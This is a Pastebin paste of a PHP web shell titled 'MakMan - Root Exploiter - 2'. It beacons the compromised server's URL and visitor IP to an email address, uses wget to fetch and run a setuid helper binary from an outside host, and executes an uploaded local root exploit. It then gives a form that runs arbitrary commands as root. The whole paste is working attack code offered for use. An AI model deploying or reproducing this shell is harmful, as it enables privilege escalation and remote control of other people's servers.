Advertisement
Guest User

Untitled

a guest
Mar 29th, 2020
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.04 KB | None | 0 0
  1. <?php
  2. /*
  3. -- By MakMan
  4. -- http://www.mukarramkhalid.com
  5. -- http://makman.tk
  6. -- https://www.facebook.com/makmaniac
  7. -- https://twitter.com/themakmaniac
  8. */
  9.  
  10. ini_set('error_reporting', 0);
  11. ini_set('max_execution_time', 0);
  12.  
  13. @ini_set('output_buffering', 0);
  14. @ini_set('display_errors', 0);
  15. set_time_limit(0);
  16. ini_set('memory_limit', '64M');
  17. header('Content-Type: text/html; charset=UTF-8');
  18. $tujuanmail = 'emailkamu@gmail.com';
  19. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  20. $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
  21. mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
  22.  
  23.  
  24. $handle_url = "http://makman.tk/scripts/makman";
  25. $path = getcwd()."/";
  26. $cmd = ( isset( $_POST["cmd"] ) ? $_POST["cmd"] : '' );
  27. $exploit = ( isset( $_POST["check_exploit"] ) ? $_FILES["exploit"]["name"] : '' );
  28.  
  29. ?>
  30.  
  31. <!doctype html>
  32. <html>
  33. <head>
  34. <meta charset='utf-8'>
  35. <title>MakMan - Root Exploiter - 2</title>
  36. <style type='text/css'>
  37. body
  38. {
  39. font: normal 15px Verdana;
  40. color: #ffffff;
  41. background-color: #000000;
  42. }
  43. textarea
  44. {
  45. width: 100%;
  46. height: 300px;
  47. resize: none;
  48. overflow-y: scroll;
  49. }
  50. pre
  51. {
  52. text-align: center;
  53. }
  54. a
  55. {
  56. text-decoration: none;
  57. color: #ff0000;
  58. }
  59. a:hover
  60. {
  61. text-decoration: underline;
  62. color: #ff0000;
  63. }
  64. .green
  65. {
  66. font: normal 15px Verdana;
  67. color: #00ff00;
  68. text-align: center;
  69. }
  70. .red
  71. {
  72. font: normal 15px Verdana;
  73. color: #ff0000;
  74. text-align: center;
  75. }
  76. </style>
  77. </head>
  78. <body>
  79. <pre>
  80. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+
  81. |L|o|c|a|l| |R|o|o|t| |E|x|p|l|o|i|t|e|r| -- | 2 |
  82. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+
  83. </pre>
  84. <h1 class='red'>By <a href='//mukarramkhalid.com'>MakMan</a></h1>
  85. <pre>
  86. ----------------------------------------------------------------------
  87. </pre>
  88. <?php
  89.  
  90. ################################ MAKMAN_FUNCTIONS #################################
  91.  
  92. function check_os( ) {
  93. if ( strtoupper( substr( PHP_OS, 0, 3 ) ) === "WIN" ) {
  94. exit( "<p class='red'>Only works on Linux</p></body></html>" );
  95. }
  96. }
  97.  
  98. function format_output( $out ) {
  99. foreach( $out as $o ) {
  100. echo htmlspecialchars( preg_replace( "/\x1b\[[0-9;]*m/", "", trim( $o ) ) )."\n";
  101. }
  102. }
  103.  
  104. function check_session( ) {
  105.  
  106. global $path;
  107.  
  108. clearstatcache( );
  109. if( fileowner( $path."makman" ) == 0 && file_exists( $path."makman" ) && filesize( $path."makman" ) != 0 && decoct( fileperms( $path."makman" ) ) == 104755 ) {
  110. return true;
  111. }
  112. else {
  113. return false;
  114. }
  115. }
  116.  
  117. function download_module( ) {
  118.  
  119. global $path, $handle_url;
  120.  
  121. if( !file_exists( $path."makman" ) || filesize( $path."makman" ) == 0 ) {
  122. exec( "wget ".$handle_url." -O ".$path."makman" );
  123. chmod( $path."makman", 0755 );
  124. if( !file_exists( $path."makman" ) || filesize( $path."makman" ) == 0 ) {
  125. return false;
  126. }
  127. else {
  128. return true;
  129. }
  130. }
  131. return true;
  132. }
  133.  
  134. function execute($action, $exp) {
  135.  
  136. global $path, $handle_url;
  137.  
  138. if(download_module()) {
  139. if( $action == "exploit" ) {
  140. if( move_uploaded_file( $_FILES["exploit"]["tmp_name"], $path.$exp ) ) {
  141. chmod( $path.$exp, 0755 );
  142. exec( $path."makman --exploit='".$path.$exp."'", $output );
  143. format_output( $output );
  144. }
  145. else {
  146. echo "Failed to Upload. Check the path ".$path." and set proper permissions.";
  147. }
  148. }
  149. else if ($action == "command") {
  150. exec( $path."makman --command='".$exp."'", $output );
  151. format_output($output);
  152. }
  153. }
  154. else {
  155. echo "Failed to download the handler from ".$handle_url.". Download it manually and save it here ".$path."makman with 'chmod +x'.";
  156. }
  157. }
  158.  
  159.  
  160. ################################ MAKMAN_MAIN #########################################
  161.  
  162. check_os( );
  163.  
  164. if( check_session( ) ) {
  165.  
  166. echo "<p class='green'>Root session exists. Insert commands to execute.</p>";
  167. echo "<textarea>";
  168. if( isset( $_POST["cmd"] ) ) {
  169. execute( "command", $cmd );
  170. }
  171. echo "</textarea>";
  172. echo "
  173. <center>
  174. <form method='POST' action=''>
  175. <input name='cmd' type='text' autofocus><br>
  176. <input name='Submit' value='Submit' type='submit'><br>
  177. </form>
  178. </center>
  179. ";
  180.  
  181. }
  182.  
  183. else {
  184.  
  185. if( isset( $_POST["check_exploit"] ) ) {
  186. echo "<textarea>";
  187. execute( "exploit", $exploit );
  188. echo "\nRefreshing page in 2 seconds.";
  189. echo "</textarea>";
  190. header( "Refresh:2" );
  191. }
  192. echo "<p class='red'>Session not found. Upload your local root exploit to execute.</p>";
  193. echo "
  194. <center>
  195. <form method='POST' action='' enctype='multipart/form-data'>
  196. <input name='check_exploit' type='hidden' value='1'>
  197. <input name='exploit' type='file'>
  198. <input name='Submit' value='Submit' type='submit'><br>
  199. </form>
  200. </center>
  201. ";
  202.  
  203. }
  204.  
  205.  
  206. ?>
  207.  
  208.  
  209. </body>
  210. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement